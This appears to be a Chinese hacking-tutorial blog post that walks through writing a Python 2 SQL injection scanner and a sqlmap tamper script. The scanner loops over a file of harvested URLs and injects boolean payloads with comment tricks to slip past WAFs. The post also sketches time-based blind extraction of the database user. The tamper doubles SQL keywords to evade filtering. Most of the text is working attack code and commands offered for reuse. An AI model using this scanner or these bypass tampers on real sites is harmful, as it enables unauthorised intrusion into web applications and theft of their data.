【PyHacker编写指南】Sql注入脚本编写

这节课是巡安似海PyHacker编写指南的Sql注入脚本编写

有些注入点sqlmap跑不出,例如延时注入,实际延时与语句延时时间不符,sqlmap就跑不出,这就需要我们自己根据实际情况编写脚本来注入了。文末,涉及了sqlmap tamper编写,所以需要一定的python基础才能看懂。

喜欢用Python写脚本的小伙伴可以跟着一起写一写。

编写环境:Python2.x

00x1:

需要用到的模块如下:

import requestsimport re

00x2:

编写Sql判断

首先我们需要一个payload,最好可以bypass,这样方便测试

?a=/&id=1%20and%201=1%23/
url = 'http://127.0.0.1/index.php?id=1'r = r'\?(.*)'id = re.findall(r,url)id = id[0]payload = "?a=/*&{}%20and%201=1%23*/".format(id)

Ok,可以正常输出

再匹配前面的url + payload完美bypass

 整理一下代码:

def url_bypass(url):
    r = r'\?(.*)'
    id = re.findall(r,url)
    id = id[0]
    payload = "?a=/*&{}%20and%201=1%23*/".format(id)

    urlr = '(.*)\?%s'%id
    url_ = re.findall(urlr,url)
    url_=url_[0]
    print url_+payload

url = 'http://127.0.0.1/index.php?id=1'
url_bypass(url)

存放到列表当中,等下我们直接遍历即可

00x3:

下面来说一下判断原理:

?a=/&id=1%20and%201=1%23/    返回正常?a=/&id=1%20and%201=2%23/ 返回错误
xor 1=1    返回错误xor 1=2    返回正常

判断1 != 2 则存在SQL注入漏洞(如上两条语句都可以测试)

我们分别利用两个请求测试,这样代码方便易读

def req1(url):
    global html1
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
    }
    req = requests.get(url,headers=headers,verify=False,timeout=3)
    html1 = req.content

def req2(url):
    global html2
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
    }
    req = requests.get(url,headers=headers,verify=False,timeout=3)
    html2 = req.content

00x4:

判断SQL注入漏洞

def main():    req1(urls[0])    req2(urls[1])    if html1 != html2:        print "[+] Find SQL"    else:        print "NO"

调试一下:

00x5:

配和前面的教程,我们已经可以采集url,并且深度爬取

采集就不在这里说了,你可以自己去采集一些url

遍历url 判断SQL注入漏洞:

if __name__ == '__main__':    f = open('url.txt','r')    for url in f:        url = url.strip()        url_bypass(url)  # c处理url        main() #判断SQL        urls = [] #清空列表

自动输出结果我就不写了

前面也讲了,大家可以根据自己需求修改

00x6:

完整代码:

#!/usr/bin/python
#-*- coding:utf-8 -*-
import requests
import re
import urllib3
urllib3.disable_warnings()

urls = []
def url_bypass(url):
    r = r'\?(.*)'
    id = re.findall(r,url)
    id = id[0]
    payload = "?a=/*&{}%20and%201=1%23*/".format(id)

    r2 = r'\?(.*)'
    id2 = re.findall(r2,url)
    id2 = id2[0]
    payload2 = "?a=/*&{}%20and%201=2%23*/".format(id2)

    urlr = '(.*)\?%s'%id
    url_ = re.findall(urlr,url)
    url_=url_[0]
    url_bypass =  url_+payload
    url_bypass2 = url_ + payload2
    urls.append(url_bypass)
    urls.append(url_bypass2)

def req1(url):
    global html1
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
    }
    req = requests.get(url,headers=headers,verify=False,timeout=3)
    html1 = req.content

def req2(url):
    global html2
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'
    }
    req = requests.get(url,headers=headers,verify=False,timeout=3)
    html2 = req.content

def main():
    try:
        req1(urls[0])
        req2(urls[1])
        if html1 != html2:
            print "[+] Find SQL",urls[1]
        else:
            pass
    except:
        pass

if __name__ == '__main__':
    f = open('url.txt','r')
    for url in f:
        url = url.strip()
        url_bypass(url)  # c处理url
        main() #判断SQL
        urls = [] #清空列表

这里仅以SQL判断思路进行编写,猜测数据库等操作也相同

抛砖引玉,只需要更换sql语句,利用for循环即可

大致思路:(延时注入获取数据库)

payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

遍历payloads

判断延迟时间,利用time比较,如果时间大于xxx,则字符存在

for x in payloads:  url+and if(length(user)=%s,3,0)%x

Pyhacker 之 SQLMAP tamper编写

tamper是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

一个简单的tamper:

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():    passdef tamper(payload, **kwargs):    return payload.replace("'", "\\'").replace('"', '\\"')

我们只需要修改这两部分:

Priority:定义脚本的优先级(默认lowest即可)

tamper:是主要的函数,接受的参数为payload和kwargs

返回值为替换后的payload。比如这个例子中就把引号替换为了\

def tamper(payload, **kwargs):headers = kwargs.get("headers", {})    headers["X-originating-IP"] = "127.0.0.1"    return payload

修改X-originating-IP 绕过Waf

所以我们只需要仿造进行修改,即可写出我们的tamper

我们来测试一下

 

我们修改源代码,关键词 替换为空

 

OK,没毛病

替换为空了,我们可以利用两个seleselectct 绕过

测试一下:

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge

已经注入不出来结果了,我们来写一个tamper

利用replace函数进行替换字符

完整tamper:

#!/usr/bin/python
#-*- coding:utf-8 -*-

#默认开头
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW     #等级(LOWEST 最低级)

#可有可无
def dependencies():
    pass

def tamper(payload, **kwargs):
    playload = payload.replace('and','anandd')
    playload = playload.replace('xor', 'xoxorr')
    playload = playload.replace('select', 'selselectect')
    playload = playload.replace('union', 'uniunionon')
    playload = playload.replace('if', 'iiff')
    return playload

放到tamper目录下

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge --tamper "andand.py"


OK,已经注入出来了

方法大同小异,了解waf特征,fuzz bypass

微信公众号关注:巡安似海,每天更新技术文章,网络安全,免杀攻防等文章。

  • 0
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巡安似海

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值